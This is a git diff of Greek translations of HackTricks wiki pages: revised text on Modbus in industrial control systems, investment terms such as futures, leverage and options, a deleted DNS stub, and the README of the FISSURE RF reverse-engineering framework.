που είναι απαραίτητη για την επικοινωνία μεταξύ των συσκευών. Πρωτόκολλα όπως Modbus RTU, Modbus TCP, κ.λπ. χρησιμοποιούνται για την υλοποίηση διευθύνσεων και λειτουργούν ως επίπεδο μεταφοράς για τη μετάδοση δεδομένων. Τα δεδομένα που μεταφέρονται είναι σε μορφή πρωτοκόλλου Modbus που περιέχει το μήνυμα. -Επιπλέον, το Modbus εφαρμόζει επίσης ελέγχους σφαλμάτων για να διασφαλίσει την ακεραιότητα των μεταδιδόμενων δεδομένων. Αλλά το πιο σημαντικό, το Modbus είναι ένα Ανοιχτό Πρότυπο και ο καθένας μπορεί να το εφαρμόσει στις συσκευές του. Αυτό έκανε το πρωτόκολλο αυτό να γίνει παγκόσμιο πρότυπο και είναι ευρέως διαδεδομένο στη βιομηχανία αυτοματοποίησης. +Επιπλέον, το Modbus εφαρμόζει επίσης ελέγχους σφαλμάτων για να διασφαλίσει την ακεραιότητα των μεταδιδόμενων δεδομένων. Αλλά το πιο σημαντικό, το Modbus είναι ένα Ανοιχτό Πρότυπο και ο καθένας μπορεί να το εφαρμόσει στις συσκευές του. Αυτό έκανε το πρωτόκολλο να γίνει παγκόσμιο πρότυπο και είναι ευρέως διαδεδομένο στη βιομηχανία αυτοματοποίησης. Λόγω της εκτενούς χρήσης του και της έλλειψης αναβαθμίσεων, η επίθεση στο Modbus παρέχει σημαντικό πλεονέκτημα με την επιφάνεια επίθεσής του. Το ICS εξαρτάται σε μεγάλο βαθμό από την επικοινωνία μεταξύ των συσκευών και οποιαδήποτε επίθεση σε αυτές μπορεί να είναι επικίνδυνη για τη λειτουργία των βιομηχανικών συστημάτων. Επιθέσεις όπως επανάληψη, εισαγωγή δεδομένων, υποκλοπή δεδομένων και διαρροή, Άρνηση Υπηρεσίας, πλαστογράφηση δεδομένων, κ.λπ. μπορούν να πραγματοποιηθούν εάν το μέσο μετάδοσης αναγνωριστεί από τον επιτιθέμενο. + +{{#include /banners/hacktricks-training.md}} diff --git a/src/todo/investment-terms.md b/src/todo/investment-terms.md index 329349a7e..84a1d77cb 100644 --- a/src/todo/investment-terms.md +++ b/src/todo/investment-terms.md @@ -1,20 +1,22 @@ # Όροι Επένδυσης +{{#include /banners/hacktricks-training.md}} + ## Spot -Αυτή είναι η πιο βασική μέθοδος για να κάνετε κάποια συναλλαγή. Μπορείτε να **υποδείξετε το ποσό του περιουσιακού στοιχείου και την τιμή** που θέλετε να αγοράσετε ή να πουλήσετε, και όποτε φτάσει αυτή η τιμή, η συναλλαγή ολοκληρώνεται. +Αυτή είναι η πιο βασική μέθοδος για να κάνετε κάποιες συναλλαγές. Μπορείτε να **υποδείξετε το ποσό του περιουσιακού στοιχείου και την τιμή** που θέλετε να αγοράσετε ή να πουλήσετε, και όποτε φτάσει αυτή η τιμή, η συναλλαγή ολοκληρώνεται. Συνήθως μπορείτε επίσης να χρησιμοποιήσετε την **τρέχουσα τιμή της αγοράς** προκειμένου να εκτελέσετε τη συναλλαγή όσο το δυνατόν πιο γρήγορα στην τρέχουσα τιμή. -**Stop Loss - Limit**: Μπορείτε επίσης να υποδείξετε το ποσό και την τιμή των περιουσιακών στοιχείων που θέλετε να αγοράσετε ή να πουλήσετε, ενώ ταυτόχρονα υποδεικνύετε μια χαμηλότερη τιμή για να αγοράσετε ή να πουλήσετε σε περίπτωση που φτάσει (για να σταματήσετε τις ζημίες). +**Stop Loss - Limit**: Μπορείτε επίσης να υποδείξετε το ποσό και την τιμή των περιουσιακών στοιχείων για αγορά ή πώληση, ενώ ταυτόχρονα υποδεικνύετε μια χαμηλότερη τιμή για αγορά ή πώληση σε περίπτωση που φτάσει (για να σταματήσετε τις ζημίες). ## Futures -Ένα μέλλον είναι ένα συμβόλαιο όπου 2 μέρη έρχονται σε συμφωνία να **αποκτήσουν κάτι στο μέλλον σε μια σταθερή τιμή**. Για παράδειγμα, να πουλήσουν 1 bitcoin σε 6 μήνες στα 70.000$. +Ένα future είναι ένα συμβόλαιο όπου 2 μέρη έρχονται σε συμφωνία να **αποκτήσουν κάτι στο μέλλον σε μια σταθερή τιμή**. Για παράδειγμα, να πουλήσουν 1 bitcoin σε 6 μήνες στα 70.000$. Προφανώς, αν σε 6 μήνες η αξία του bitcoin είναι 80.000$, το πωλητικό μέρος χάνει χρήματα και το αγοραστικό μέρος κερδίζει. Αν σε 6 μήνες η αξία του bitcoin είναι 60.000$, συμβαίνει το αντίθετο. -Ωστόσο, αυτό είναι ενδιαφέρον για παράδειγμα για επιχειρήσεις που παράγουν ένα προϊόν και χρειάζονται την ασφάλεια ότι θα μπορούν να το πουλήσουν σε μια τιμή που θα καλύψει τα κόστη. Ή επιχειρήσεις που θέλουν να διασφαλίσουν σταθερές τιμές στο μέλλον για κάτι ακόμα και αν είναι υψηλότερες. +Ωστόσο, αυτό είναι ενδιαφέρον για παράδειγμα για επιχειρήσεις που παράγουν ένα προϊόν και χρειάζονται την ασφάλεια ότι θα μπορούν να το πουλήσουν σε μια τιμή που θα καλύψει τα κόστη. Ή επιχειρήσεις που θέλουν να εξασφαλίσουν σταθερές τιμές στο μέλλον για κάτι ακόμα και αν είναι υψηλότερες. Αν και στις αγορές αυτό συνήθως χρησιμοποιείται για να προσπαθήσουν να κάνουν κέρδος. @@ -23,13 +25,13 @@ ### Hedging With Futures -Αν ένας διαχειριστής κεφαλαίων φοβάται ότι κάποιες μετοχές θα μειωθούν, μπορεί να πάρει μια short position σε κάποια περιουσιακά στοιχεία όπως bitcoins ή συμβόλαια futures S\&P 500. Αυτό θα ήταν παρόμοιο με το να αγοράσει ή να έχει κάποια περιουσιακά στοιχεία και να δημιουργήσει ένα συμβόλαιο πώλησης αυτών σε μελλοντικό χρόνο σε μεγαλύτερη τιμή. +Αν ένας διαχειριστής κεφαλαίων φοβάται ότι κάποιες μετοχές θα μειωθούν, μπορεί να πάρει μια short position σε κάποια περιουσιακά στοιχεία όπως bitcoins ή συμβόλαια futures S&P 500. Αυτό θα ήταν παρόμοιο με το να αγοράσει ή να έχει κάποια περιουσιακά στοιχεία και να δημιουργήσει ένα συμβόλαιο πώλησης αυτών σε μελλοντικό χρόνο σε μεγαλύτερη τιμή. Σε περίπτωση που η τιμή μειωθεί, ο διαχειριστής κεφαλαίων θα κερδίσει οφέλη γιατί θα πουλήσει τα περιουσιακά στοιχεία σε μεγαλύτερη τιμή. Αν η τιμή των περιουσιακών στοιχείων αυξηθεί, ο διαχειριστής δεν θα κερδίσει αυτό το όφελος αλλά θα κρατήσει τα περιουσιακά του στοιχεία. ### Perpetual Futures -**Αυτά είναι "futures" που θα διαρκέσουν επ' αόριστον** (χωρίς ημερομηνία λήξης συμβολαίου). Είναι πολύ συνηθισμένο να τα βρίσκετε για παράδειγμα σε κρυπτονομίσματα όπου μπορείτε να μπείτε και να βγείτε από futures με βάση την τιμή των κρυπτονομισμάτων. +**Αυτά είναι "futures" που θα διαρκέσουν επ' αόριστον** (χωρίς ημερομηνία λήξης συμβολαίου). Είναι πολύ συνηθισμένο να τα βρίσκετε για παράδειγμα σε κρυπτονομισματικές αγορές όπου μπορείτε να μπείτε και να βγείτε από futures με βάση την τιμή των κρυπτονομισμάτων. Σημειώστε ότι σε αυτές τις περιπτώσεις τα οφέλη και οι ζημίες μπορούν να είναι σε πραγματικό χρόνο, αν η τιμή αυξηθεί 1% κερδίζετε 1%, αν η τιμή μειωθεί 1%, θα το χάσετε. @@ -37,32 +39,34 @@ **Leverage** σας επιτρέπει να ελέγχετε μια μεγαλύτερη θέση στην αγορά με μικρότερο ποσό χρημάτων. Βασικά σας επιτρέπει να "στοιχηματίσετε" πολύ περισσότερα χρήματα από όσα έχετε, ρισκάροντας μόνο τα χρήματα που έχετε πραγματικά. -Για παράδειγμα, αν ανοίξετε μια θέση futures στο BTC/USDT με 100$ και 50x leverage, αυτό σημαίνει ότι αν η τιμή αυξηθεί 1%, τότε θα κερδίζατε 1x50 = 50% της αρχικής σας επένδυσης (50$). Και επομένως θα έχετε 150$.\ +Για παράδειγμα, αν ανοίξετε μια θέση future στο BTC/USDT με 100$ και 50x leverage, αυτό σημαίνει ότι αν η τιμή αυξηθεί 1%, τότε θα κερδίζατε 1x50 = 50% της αρχικής σας επένδυσης (50$). Και έτσι θα έχετε 150$.\ Ωστόσο, αν η τιμή μειωθεί 1%, θα χάσετε το 50% των κεφαλαίων σας (59$ σε αυτή την περίπτωση). Και αν η τιμή μειωθεί 2%, θα χάσετε όλο το στοίχημά σας (2x50 = 100%). -Επομένως, η μόχλευση σας επιτρέπει να ελέγχετε το ποσό χρημάτων που στοιχηματίζετε ενώ αυξάνει τα κέρδη και τις ζημίες. +Επομένως, το leverage σας επιτρέπει να ελέγχετε το ποσό των χρημάτων που στοιχηματίζετε ενώ αυξάνει τα κέρδη και τις ζημίες. ## Διαφορές Futures & Options Η κύρια διαφορά μεταξύ futures και options είναι ότι το συμβόλαιο είναι προαιρετικό για τον αγοραστή: Μπορεί να αποφασίσει να το εκτελέσει ή όχι (συνήθως θα το κάνει μόνο αν θα ωφεληθεί από αυτό). Ο πωλητής πρέπει να πουλήσει αν ο αγοραστής θέλει να χρησιμοποιήσει την επιλογή.\ -Ωστόσο, ο αγοραστής θα πληρώνει κάποια αμοιβή στον πωλητή για το άνοιγμα της επιλογής (έτσι ο πωλητής, ο οποίος φαίνεται να αναλαμβάνει περισσότερο ρίσκο, αρχίζει να κερδίζει κάποια χρήματα). +Ωστόσο, ο αγοραστής θα πληρώνει κάποια αμοιβή στον πωλητή για το άνοιγμα της επιλογής (έτσι ο πωλητής, ο οποίος αναλαμβάνει περισσότερο ρίσκο φαινομενικά, αρχίζει να κερδίζει κάποια χρήματα). ### 1. **Υποχρέωση vs. Δικαίωμα:** * **Futures:** Όταν αγοράζετε ή πουλάτε ένα συμβόλαιο futures, εισέρχεστε σε μια **δεσμευτική συμφωνία** να αγοράσετε ή να πουλήσετε ένα περιουσιακό στοιχείο σε μια συγκεκριμένη τιμή σε μια μελλοντική ημερομηνία. Και οι δύο, ο αγοραστής και ο πωλητής, είναι **υποχρεωμένοι** να εκπληρώσουν το συμβόλαιο κατά την λήξη (εκτός αν το συμβόλαιο κλείσει πριν από τότε). -* **Options:** Με τις επιλογές, έχετε το **δικαίωμα, αλλά όχι την υποχρέωση**, να αγοράσετε (στην περίπτωση ενός **call option**) ή να πουλήσετε (στην περίπτωση ενός **put option**) ένα περιουσιακό στοιχείο σε μια συγκεκριμένη τιμή πριν ή κατά την ημερομηνία λήξης. Ο **αγοραστής** έχει την επιλογή να εκτελέσει, ενώ ο **πωλητής** είναι υποχρεωμένος να εκπληρώσει τη συναλλαγή αν ο αγοραστής αποφασίσει να ασκήσει την επιλογή. +* **Options:** Με τις επιλογές, έχετε το **δικαίωμα, αλλά όχι την υποχρέωση**, να αγοράσετε (στην περίπτωση ενός **call option**) ή να πουλήσετε (στην περίπτωση ενός **put option**) ένα περιουσιακό στοιχείο σε μια συγκεκριμένη τιμή πριν ή κατά την ημερομηνία λήξης. Ο **αγοραστής** έχει την επιλογή να εκτελέσει, ενώ ο **πωλητής** είναι υποχρεωμένος να εκπληρώσει την συναλλαγή αν ο αγοραστής αποφασίσει να ασκήσει την επιλογή. ### 2. **Ρίσκο:** -* **Futures:** Και οι δύο, ο αγοραστής και ο πωλητής αναλαμβάνουν **απεριόριστο ρίσκο** γιατί είναι υποχρεωμένοι να ολοκληρώσουν το συμβόλαιο. Ο κίνδυνος είναι η διαφορά μεταξύ της συμφωνημένης τιμής και της τιμής της αγοράς κατά την ημερομηνία λήξης. +* **Futures:** Και οι δύο, ο αγοραστής και ο πωλητής, αναλαμβάνουν **απεριόριστο ρίσκο** γιατί είναι υποχρεωμένοι να ολοκληρώσουν το συμβόλαιο. Ο κίνδυνος είναι η διαφορά μεταξύ της συμφωνημένης τιμής και της τιμής της αγοράς κατά την ημερομηνία λήξης. * **Options:** Ο κίνδυνος του αγοραστή περιορίζεται στο **premium** που πληρώνει για την αγορά της επιλογής. Αν η αγορά δεν κινηθεί υπέρ του κατόχου της επιλογής, μπορεί απλά να αφήσει την επιλογή να λήξει. Ωστόσο, ο **πωλητής** (συγγραφέας) της επιλογής έχει απεριόριστο ρίσκο αν η αγορά κινηθεί σημαντικά εναντίον του. ### 3. **Κόστος:** -* **Futures:** Δεν υπάρχει προκαταβολικό κόστος πέρα από την περιθωριοποίηση που απαιτείται για να διατηρηθεί η θέση, καθώς ο αγοραστής και ο πωλητής είναι και οι δύο υποχρεωμένοι να ολοκληρώσουν τη συναλλαγή. +* **Futures:** Δεν υπάρχει προκαταβολικό κόστος πέρα από την περιθωριοποίηση που απαιτείται για να κρατήσετε τη θέση, καθώς ο αγοραστής και ο πωλητής είναι και οι δύο υποχρεωμένοι να ολοκληρώσουν τη συναλλαγή. * **Options:** Ο αγοραστής πρέπει να πληρώσει ένα **option premium** εκ των προτέρων για το δικαίωμα να ασκήσει την επιλογή. Αυτό το premium είναι ουσιαστικά το κόστος της επιλογής. ### 4. **Δυνατότητα Κέρδους:** * **Futures:** Το κέρδος ή η ζημία βασίζεται στη διαφορά μεταξύ της τιμής της αγοράς κατά την λήξη και της συμφωνημένης τιμής στο συμβόλαιο. * **Options:** Ο αγοραστής κερδίζει όταν η αγορά κινείται ευνοϊκά πέρα από την τιμή εκτέλεσης κατά περισσότερο από το premium που πληρώθηκε. Ο πωλητής κερδίζει κρατώντας το premium αν η επιλογή δεν ασκηθεί. + +{{#include /banners/hacktricks-training.md}} diff --git a/src/todo/pentesting-dns.md b/src/todo/pentesting-dns.md deleted file mode 100644 index 9217c45ff..000000000 --- a/src/todo/pentesting-dns.md +++ /dev/null @@ -1,9 +0,0 @@ -{{#include ../banners/hacktricks-training.md}} - -**Ερευνήστε περισσότερα σχετικά με επιθέσεις στο DNS** - -**DNSSEC και DNSSEC3** - -**DNS στο IPv6** - -{{#include ../banners/hacktricks-training.md}} diff --git a/src/todo/radio-hacking/README.md b/src/todo/radio-hacking/README.md index 316a2bc62..b68e2c82f 100644 --- a/src/todo/radio-hacking/README.md +++ b/src/todo/radio-hacking/README.md @@ -1 +1,3 @@ # Ραδιοφωνική Χάκινγκ + +{{#include /banners/hacktricks-training.md}} diff --git a/src/todo/radio-hacking/fissure-the-rf-framework.md b/src/todo/radio-hacking/fissure-the-rf-framework.md index 7b8d57d08..2cf05af95 100644 --- a/src/todo/radio-hacking/fissure-the-rf-framework.md +++ b/src/todo/radio-hacking/fissure-the-rf-framework.md @@ -1,14 +1,16 @@ -# FISSURE - The RF Framework +# FISSURE - Το RF Framework -**Ανεξάρτητη Συχνότητα SDR-βασισμένη Κατανόηση και Αντίστροφη Μηχανική Σημάτων** +{{#include /banners/hacktricks-training.md}} -Το FISSURE είναι ένα ανοιχτού κώδικα πλαίσιο RF και αντίστροφης μηχανικής σχεδιασμένο για όλα τα επίπεδα δεξιοτήτων με hooks για ανίχνευση και ταξινόμηση σημάτων, ανακάλυψη πρωτοκόλλων, εκτέλεση επιθέσεων, χειρισμό IQ, ανάλυση ευπαθειών, αυτοματοποίηση και AI/ML. Το πλαίσιο έχει κατασκευαστεί για να προάγει την ταχεία ενσωμάτωση λογισμικών μονάδων, ραδιοφώνων, πρωτοκόλλων, δεδομένων σημάτων, σεναρίων, ροών γραφημάτων, υλικού αναφοράς και εργαλείων τρίτων. Το FISSURE είναι ένας επιταχυντής ροής εργασίας που διατηρεί το λογισμικό σε μία τοποθεσία και επιτρέπει στις ομάδες να προσαρμόζονται εύκολα ενώ μοιράζονται την ίδια αποδεδειγμένη βασική διαμόρφωση για συγκεκριμένες διανομές Linux. +**Κατανόηση και Αντίστροφη Μηχανική Σημάτων με SDR που δεν εξαρτώνται από τη Συχνότητα** + +Το FISSURE είναι ένα ανοιχτού κώδικα RF και πλαίσιο αντίστροφης μηχανικής σχεδιασμένο για όλα τα επίπεδα δεξιοτήτων με hooks για ανίχνευση και ταξινόμηση σημάτων, ανακάλυψη πρωτοκόλλων, εκτέλεση επιθέσεων, χειρισμό IQ, ανάλυση ευπαθειών, αυτοματοποίηση και AI/ML. Το πλαίσιο έχει κατασκευαστεί για να προάγει την ταχεία ενσωμάτωση λογισμικών μονάδων, ραδιοφώνων, πρωτοκόλλων, δεδομένων σημάτων, scripts, ροών γραφημάτων, υλικού αναφοράς και εργαλείων τρίτων. Το FISSURE είναι ένας επιταχυντής ροής εργασίας που διατηρεί το λογισμικό σε μία τοποθεσία και επιτρέπει στις ομάδες να προσαρμόζονται εύκολα ενώ μοιράζονται την ίδια αποδεδειγμένη βασική διαμόρφωση για συγκεκριμένες διανομές Linux. Το πλαίσιο και τα εργαλεία που περιλαμβάνονται στο FISSURE έχουν σχεδιαστεί για να ανιχνεύουν την παρουσία RF ενέργειας, να κατανοούν τα χαρακτηριστικά ενός σήματος, να συλλέγουν και να αναλύουν δείγματα, να αναπτύσσουν τεχνικές μετάδοσης και/ή ένεσης, και να δημιουργούν προσαρμοσμένα payloads ή μηνύματα. Το FISSURE περιέχει μια αυξανόμενη βιβλιοθήκη πληροφοριών πρωτοκόλλων και σημάτων για να βοηθήσει στην αναγνώριση, τη δημιουργία πακέτων και το fuzzing. Υπάρχουν δυνατότητες online αρχείου για λήψη αρχείων σημάτων και δημιουργία playlists για προσομοίωση κυκλοφορίας και δοκιμή συστημάτων. Η φιλική βάση κώδικα Python και η διεπαφή χρήστη επιτρέπουν στους αρχάριους να μάθουν γρήγορα για δημοφιλή εργαλεία και τεχνικές που σχετίζονται με RF και αντίστροφη μηχανική. Οι εκπαιδευτές στον τομέα της κυβερνοασφάλειας και της μηχανικής μπορούν να εκμεταλλευτούν το ενσωματωμένο υλικό ή να χρησιμοποιήσουν το πλαίσιο για να επιδείξουν τις δικές τους εφαρμογές στον πραγματικό κόσμο. Οι προγραμματιστές και οι ερευνητές μπορούν να χρησιμοποιήσουν το FISSURE για τις καθημερινές τους εργασίες ή για να εκθέσουν τις πρωτοποριακές λύσεις τους σε ένα ευρύτερο κοινό. Καθώς η ευαισθητοποίηση και η χρήση του FISSURE αυξάνονται στην κοινότητα, θα αυξάνεται και η έκταση των δυνατοτήτων του και η ποικιλία της τεχνολογίας που περιλαμβάνει. -**Επιπλέον Πληροφορίες** +**Πρόσθετες Πληροφορίες** * [AIS Page](https://www.ainfosec.com/technologies/fissure/) * [GRCon22 Slides](https://events.gnuradio.org/event/18/contributions/246/attachments/84/164/FISSURE\_Poore\_GRCon22.pdf) @@ -16,7 +18,7 @@ * [GRCon22 Video](https://www.youtube.com/watch?v=1f2umEKhJvE) * [Hack Chat Transcript](https://hackaday.io/event/187076-rf-hacking-hack-chat/log/212136-hack-chat-transcript-part-1) -## Getting Started +## Ξεκινώντας **Υποστηριζόμενα** @@ -33,14 +35,14 @@ **Σε Πρόοδο (beta)** -Αυτά τα λειτουργικά συστήματα είναι ακόμα σε κατάσταση beta. Είναι υπό ανάπτυξη και αρκετές δυνατότητες είναι γνωστό ότι λείπουν. Αντικείμενα στον εγκαταστάτη μπορεί να συγκρούονται με υπάρχοντα προγράμματα ή να αποτύχουν να εγκατασταθούν μέχρι να αφαιρεθεί η κατάσταση. +Αυτά τα λειτουργικά συστήματα είναι ακόμα σε κατάσταση beta. Είναι υπό ανάπτυξη και αρκετές δυνατότητες είναι γνωστό ότι λείπουν. Αντικείμενα στον εγκαταστάτη μπορεί να συγκρούονται με υπάρχουσες εφαρμογές ή να αποτύχουν να εγκατασταθούν μέχρι να αφαιρεθεί η κατάσταση. | Λειτουργικό Σύστημα | Κλάδος FISSURE | | :--------------------------: | :-----------------: | | DragonOS Focal (x86\_64) | Python3\_maint-3.8 | | Ubuntu 22.04 (x64) | Python3\_maint-3.10 | -Σημείωση: Ορισμένα εργαλεία λογισμικού δεν λειτουργούν για κάθε OS. Ανατρέξτε σε [Software And Conflicts](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Help/Markdown/SoftwareAndConflicts.md) +Σημείωση: Ορισμένα λογισμικά εργαλεία δεν λειτουργούν για κάθε OS. Ανατρέξτε σε [Software And Conflicts](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Help/Markdown/SoftwareAndConflicts.md) **Εγκατάσταση** ``` @@ -52,13 +54,13 @@ git submodule update --init ``` Αυτό θα εγκαταστήσει τις εξαρτήσεις λογισμικού PyQt που απαιτούνται για την εκκίνηση των GUI εγκατάστασης αν δεν βρεθούν. -Στη συνέχεια, επιλέξτε την επιλογή που ταιριάζει καλύτερα στο λειτουργικό σας σύστημα (θα ανιχνευθεί αυτόματα αν το λειτουργικό σας σύστημα ταιριάζει με μια επιλογή). +Στη συνέχεια, επιλέξτε την επιλογή που ταιριάζει καλύτερα με το λειτουργικό σας σύστημα (θα ανιχνευθεί αυτόματα αν το λειτουργικό σας σύστημα ταιριάζει με μια επιλογή). | Python2\_maint-3.7 | Python3\_maint-3.8 | Python3\_maint-3.10 | | :--------------------------------------------------------------------------------------------------: | :--------------------------------------------------------------------------------------------------: | :--------------------------------------------------------------------------------------------------: | | ![install1b](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/install1b.png) | ![install1a](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/install1a.png) | ![install1c](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/install1c.png) | -Συνιστάται να εγκαταστήσετε το FISSURE σε ένα καθαρό λειτουργικό σύστημα για να αποφύγετε υπάρχουσες συγκρούσεις. Επιλέξτε όλα τα συνιστώμενα πλαίσια ελέγχου (κουμπί προεπιλογής) για να αποφύγετε σφάλματα κατά τη λειτουργία των διαφόρων εργαλείων εντός του FISSURE. Θα υπάρχουν πολλαπλές προτροπές κατά τη διάρκεια της εγκατάστασης, κυρίως ζητώντας ανυψωμένα δικαιώματα και ονόματα χρηστών. Αν ένα στοιχείο περιέχει μια ενότητα "Επαλήθευση" στο τέλος, ο εγκαταστάτης θα εκτελέσει την εντολή που ακολουθεί και θα επισημάνει το στοιχείο του πλαισίου ελέγχου πράσινο ή κόκκινο ανάλογα με το αν παραχθούν σφάλματα από την εντολή. Τα ελεγμένα στοιχεία χωρίς ενότητα "Επαλήθευση" θα παραμείνουν μαύρα μετά την εγκατάσταση. +Συνιστάται να εγκαταστήσετε το FISSURE σε ένα καθαρό λειτουργικό σύστημα για να αποφύγετε υπάρχουσες συγκρούσεις. Επιλέξτε όλα τα προτεινόμενα πλαίσια ελέγχου (κουμπί προεπιλογής) για να αποφύγετε σφάλματα κατά τη λειτουργία των διαφόρων εργαλείων εντός του FISSURE. Θα υπάρχουν πολλαπλές προτροπές κατά τη διάρκεια της εγκατάστασης, κυρίως ζητώντας ανυψωμένα δικαιώματα και ονόματα χρηστών. Αν ένα στοιχείο περιέχει μια ενότητα "Επαλήθευση" στο τέλος, ο εγκαταστάτης θα εκτελέσει την εντολή που ακολουθεί και θα επισημάνει το στοιχείο του πλαισίου ελέγχου πράσινο ή κόκκινο ανάλογα με το αν παραχθούν σφάλματα από την εντολή. Τα ελεγμένα στοιχεία χωρίς ενότητα "Επαλήθευση" θα παραμείνουν μαύρα μετά την εγκατάσταση. ![install2](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/install2.png) @@ -74,20 +76,20 @@ fissure **Συστατικά** -* Dashboard -* Central Hub (HIPRFISR) -* Target Signal Identification (TSI) -* Protocol Discovery (PD) -* Flow Graph & Script Executor (FGE) +* Πίνακας ελέγχου +* Κεντρικός κόμβος (HIPRFISR) +* Αναγνώριση στόχου σήματος (TSI) +* Ανακάλυψη πρωτοκόλλου (PD) +* Γράφημα ροής & Εκτελεστής σεναρίων (FGE) ![components](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/components.png) **Δυνατότητες** -| ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/detector.png)_**Signal Detector**_ | ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/iq.png)_**IQ Manipulation**_ | ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/library.png)_**Signal Lookup**_ | ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/pd.png)_**Pattern Recognition**_ | +| ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/detector.png)_**Ανιχνευτής Σήματος**_ | ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/iq.png)_**Manipulation IQ**_ | ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/library.png)_**Αναζήτηση Σήματος**_ | ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/pd.png)_**Αναγνώριση Προτύπων**_ | | --------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------- | -| ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/attack.png)_**Attacks**_ | ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/fuzzing.png)_**Fuzzing**_ | ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/archive.png)_**Signal Playlists**_ | ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/gallery.png)_**Image Gallery**_ | -| ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/packet.png)_**Packet Crafting**_ | ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/scapy.png)_**Scapy Integration**_ | ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/crc\_calculator.png)_**CRC Calculator**_ | ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/log.png)_**Logging**_ | +| ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/attack.png)_**Επιθέσεις**_ | ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/fuzzing.png)_**Fuzzing**_ | ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/archive.png)_**Λίστες Αναπαραγωγής Σήματος**_ | ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/gallery.png)_**Γκαλερί Εικόνας**_ | +| ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/packet.png)_**Δημιουργία Πακέτων**_ | ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/scapy.png)_**Ενσωμάτωση Scapy**_ | ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/crc\_calculator.png)_**Υπολογιστής CRC**_ | ![](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Icons/README/log.png)_**Καταγραφή**_ | **Υλικό** @@ -96,7 +98,7 @@ fissure * USRP: X3xx, B2xx, B20xmini, USRP2, N2xx * HackRF * RTL2832U -* 802.11 Adapters +* 802.11 Αντάπτορες * LimeSDR * bladeRF, bladeRF 2.0 micro * Open Sniffer @@ -122,14 +124,14 @@ fissure * [ ] Προσθήκη περισσότερων τύπων υλικού, RF πρωτοκόλλων, παραμέτρων σήματος, εργαλείων ανάλυσης * [ ] Υποστήριξη περισσότερων λειτουργικών συστημάτων -* [ ] Ανάπτυξη υλικού μαθήματος γύρω από το FISSURE (RF Attacks, Wi-Fi, GNU Radio, PyQt, κ.λπ.) +* [ ] Ανάπτυξη υλικού μαθήματος γύρω από το FISSURE (RF Επιθέσεις, Wi-Fi, GNU Radio, PyQt, κ.λπ.) * [ ] Δημιουργία ενός ρυθμιστή σήματος, εξαγωγέα χαρακτηριστικών και ταξινομητή σήματος με επιλεγμένες τεχνικές AI/ML -* [ ] Υλοποίηση μηχανισμών αναδρομικής αποδιαμόρφωσης για την παραγωγή bitstream από άγνωστα σήματα -* [ ] Μετάβαση των κύριων συστατικών του FISSURE σε ένα γενικό σχέδιο ανάπτυξης κόμβων αισθητήρων +* [ ] Υλοποίηση αναδρομικών μηχανισμών αποδιαμόρφωσης για την παραγωγή bitstream από άγνωστα σήματα +* [ ] Μετάβαση των κύριων συστατικών του FISSURE σε ένα γενικό σχέδιο ανάπτυξης αισθητήρα -## Συμβολή +## Συμμετοχή -Προτάσεις για τη βελτίωση του FISSURE είναι ιδιαίτερα ευπρόσδεκτες. Αφήστε ένα σχόλιο στη σελίδα [Discussions](https://github.com/ainfosec/FISSURE/discussions) ή στο Discord Server αν έχετε οποιαδήποτε σκέψη σχετικά με τα εξής: +Προτάσεις για τη βελτίωση του FISSURE είναι ιδιαίτερα ευπρόσδεκτες. Αφήστε ένα σχόλιο στη σελίδα [Discussions](https://github.com/ainfosec/FISSURE/discussions) ή στο Discord Server αν έχετε οποιεσδήποτε σκέψεις σχετικά με τα εξής: * Προτάσεις νέων χαρακτηριστικών και αλλαγές σχεδίασης * Λογισμικό εργαλεία με βήματα εγκατάστασης @@ -142,8 +144,8 @@ fissure Οι συνεισφορές για τη βελτίωση του FISSURE είναι κρίσιμες για την επιτάχυνση της ανάπτυξής του. Οποιεσδήποτε συνεισφορές κάνετε είναι πολύ εκτιμητέες. Εάν επιθυμείτε να συμβάλετε μέσω ανάπτυξης κώδικα, παρακαλώ κάντε fork το repo και δημιουργήστε ένα pull request: 1. Fork το έργο -2. Δημιουργήστε το feature branch σας (`git checkout -b feature/AmazingFeature`) -3. Commit τις αλλαγές σας (`git commit -m 'Add some AmazingFeature'`) +2. Δημιουργήστε το branch χαρακτηριστικού σας (`git checkout -b feature/AmazingFeature`) +3. 